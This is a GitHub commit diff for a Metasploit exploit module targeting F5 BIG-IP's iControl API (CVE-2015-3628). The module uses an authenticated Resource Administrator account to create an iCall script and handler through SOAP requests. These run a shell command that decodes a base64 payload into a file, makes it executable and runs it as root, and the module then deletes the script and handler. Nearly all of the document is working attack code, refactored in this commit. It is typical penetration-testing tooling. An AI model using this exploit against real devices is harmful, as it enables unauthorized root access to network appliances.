Skip to content

Commit 109a733

Browse files
committed
Merge pull request #6 from jhart-r7/pr/fixup-6228
More cleanup of F5 BIG-IP iCall privilege escalation vulnerability (CVE-2015-3628)
2 parents 504924e + e21bf80 commit 109a733

File tree

1 file changed

+56
-77
lines changed

1 file changed

+56
-77
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 56 additions & 77 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,22 @@ class Metasploit3 < Msf::Exploit::Remote
1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Exploit::FileDropper
1313

14+
SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
15+
STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
16+
LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
17+
1418
def initialize(info = {})
1519
super(
1620
update_info(
1721
info,
1822
'Name' => "F5 iControl iCall::Script Root Command Execution",
1923
'Description' => %q{
20-
This module exploits an authenticated a privilege escalation vulnerability
21-
in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). The attacker needs valid
22-
credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0,
23-
(11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details)
24+
This module exploits an authenticated privilege escalation
25+
vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
26+
other F5 devices). This requires valid credentials and the Resource
27+
Administrator role. The exploit should work on BIG-IP 11.3.0
28+
- 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
29+
for more details)
2430
},
2531
'License' => MSF_LICENSE,
2632
'Author' =>
@@ -55,11 +61,18 @@ def initialize(info = {})
5561
[
5662
OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]),
5763
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
58-
OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']),
64+
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
5965
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
6066
])
6167
end
6268

69+
def setup
70+
file = datastore['FILENAME']
71+
file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
72+
@payload_path = ::File.join(datastore['PATH'], file)
73+
super
74+
end
75+
6376
def build_xml
6477
builder = Nokogiri::XML::Builder.new do |xml|
6578
xml.Envelope do
@@ -92,88 +105,75 @@ def send_soap_request(pay)
92105
'username' => datastore['USERNAME'],
93106
'password' => datastore['PASSWORD']
94107
)
95-
if res && res.code == 200
108+
if res
96109
return res
97-
elsif res
98-
if res.code == 401
99-
print_error('401 Unauthorized - Check credentials')
100-
else
101-
print_error("#{res.code} - Unknown error")
102-
end
103110
else
104111
vprint_error('No response')
105112
end
106113
false
107114
end
108115

109-
# cmd is valid tcl script
110-
def create_script(cmd)
111-
scriptname = Rex::Text.rand_text_alpha_lower(5)
116+
def create_script(name, cmd)
112117
create_xml = build_xml do |xml|
113-
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
114-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
115-
xml.scripts(string_attrs) do
118+
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
119+
xml.scripts(STRING_ATTRS) do
116120
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
117-
xml.item scriptname
121+
xml.item name
118122
end
119-
xml.definitions(string_attrs) do
123+
xml.definitions(STRING_ATTRS) do
120124
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
121125
xml.item cmd
122126
end
123127
end
124128
end
125-
send_soap_request(create_xml) ? scriptname : false
129+
send_soap_request(create_xml)
126130
end
127131

128-
def delete_script(scriptname)
132+
def delete_script(script_name)
129133
delete_xml = build_xml do |xml|
130-
xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
131-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
132-
xml.scripts(string_attrs) do
134+
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
135+
xml.scripts(STRING_ATTRS) do
133136
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
134-
xml.item scriptname
137+
xml.item script_name
135138
end
136139
end
137140
end
138141
send_soap_request(delete_xml)
139142
end
140143

141-
def script_exists(scriptname)
144+
def script_exists(script_name)
142145
exists_xml = build_xml do |xml|
143-
xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
146+
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
144147
end
145148
res = send_soap_request(exists_xml)
146-
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{scriptname}")
149+
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
147150
end
148151

149-
def create_handler(scriptname, interval)
150-
handler_name = Rex::Text.rand_text_alpha_lower(5)
152+
def create_handler(handler_name, script_name, interval)
151153
handler_xml = build_xml do |xml|
152-
xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
153-
string_attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
154-
xml.handlers(string_attrs) do
154+
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
155+
xml.handlers(STRING_ATTRS) do
155156
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
156157
xml.item handler_name
157158
end
158-
xml.scripts(string_attrs) do
159+
xml.scripts(STRING_ATTRS) do
159160
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
160-
xml.item scriptname
161+
xml.item script_name
161162
end
162-
long_attrs = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
163-
xml.intervals(long_attrs) do
163+
xml.intervals(LONG_ATTRS) do
164164
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
165165
xml.item interval
166166
end
167167
end
168168
end
169-
send_soap_request(handler_xml) ? handler_name : false
169+
res = send_soap_request(handler_xml)
170+
res && res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
170171
end
171172

172173
def delete_handler(handler_name)
173174
delete_xml = build_xml do |xml|
174-
xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
175-
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
176-
xml.handlers(attrs) do
175+
xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
176+
xml.handlers(STRING_ATTRS) do
177177
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
178178
xml.item handler_name
179179
end
@@ -185,7 +185,7 @@ def delete_handler(handler_name)
185185

186186
def handler_exists(handler_name)
187187
handler_xml = build_xml do |xml|
188-
xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
188+
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
189189
end
190190
res = send_soap_request(handler_xml)
191191
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
@@ -197,31 +197,11 @@ def check
197197
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
198198
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
199199
# any other response is considered not vulnerable
200-
check_xml = build_xml do |xml|
201-
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
202-
attrs = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
203-
xml.scripts(attrs) do
204-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
205-
xml.item
206-
end
207-
xml.definitions(attrs) do
208-
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
209-
xml.item
210-
end
211-
end
212-
end
213-
214-
res = send_request_cgi(
215-
'uri' => normalize_uri(target_uri.path),
216-
'method' => 'POST',
217-
'data' => check_xml,
218-
'username' => datastore['USERNAME'],
219-
'password' => datastore['PASSWORD']
220-
)
200+
res = create_script('', '')
221201
if res && res.code == 500 && res.body =~ /path is empty/
222202
return Exploit::CheckCode::Appears
223203
elsif res && res.code == 401
224-
print_error('401 Unauthorized')
204+
print_warning("HTTP/#{res.proto} #{res.status} #{res.message} -- incorrect USERNAME or PASSWORD?")
225205
return Exploit::CheckCode::Unknown
226206
else
227207
return Exploit::CheckCode::Safe
@@ -230,13 +210,8 @@ def check
230210

231211
def exploit
232212
# phase 1: create iCall script to create file with payload, execute it and remove it.
233-
filepath = datastore['PATH']
234-
filename = datastore['FILENAME']
235-
dest_file = filepath + '/' + filename
236-
register_file_for_cleanup dest_file
237-
238-
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file})
239-
cmd = %(if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"})
213+
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
214+
cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
240215

241216
arg_max = datastore['ARG_MAX']
242217
if shell_cmd.size > arg_max
@@ -247,28 +222,32 @@ def exploit
247222

248223
print_status('Uploading payload...')
249224

250-
unless (script = create_script(cmd))
225+
script_name = Rex::Text.rand_text_alpha_lower(5)
226+
create_script_res = create_script(script_name, cmd)
227+
unless create_script_res && create_script_res.code == 200
251228
print_error("Upload script failed")
252229
return false
253230
end
254-
unless script_exists(script)
231+
unless script_exists(script_name)
255232
print_error("create_script() run successfully but script was not found")
256233
return false
257234
end
235+
register_file_for_cleanup @payload_path
236+
258237
interval = datastore['INTERVAL']
259238

260239
# phase 2: create iCall Handler, that will actually run the previously created script
261240
print_status('Creating trigger...')
262-
handler = create_handler(script, interval)
263-
unless handler
241+
handler_name = Rex::Text.rand_text_alpha_lower(5)
242+
unless create_handler(handler_name, script_name, interval)
264243
print_error('Script uploaded but create_handler() failed')
265244
return false
266245
end
267246
print_status('Wait until payload is executed...')
268247

269248
sleep(interval) # small delay, just to make sure
270249
print_status('Trying cleanup...')
271-
if delete_handler(handler) && delete_script(script)
250+
if delete_handler(handler_name) && delete_script(script_name)
272251
print_status('Cleanup finished with no errors')
273252
else
274253
print_error('Error while cleaning up')

0 commit comments

Comments
 (0)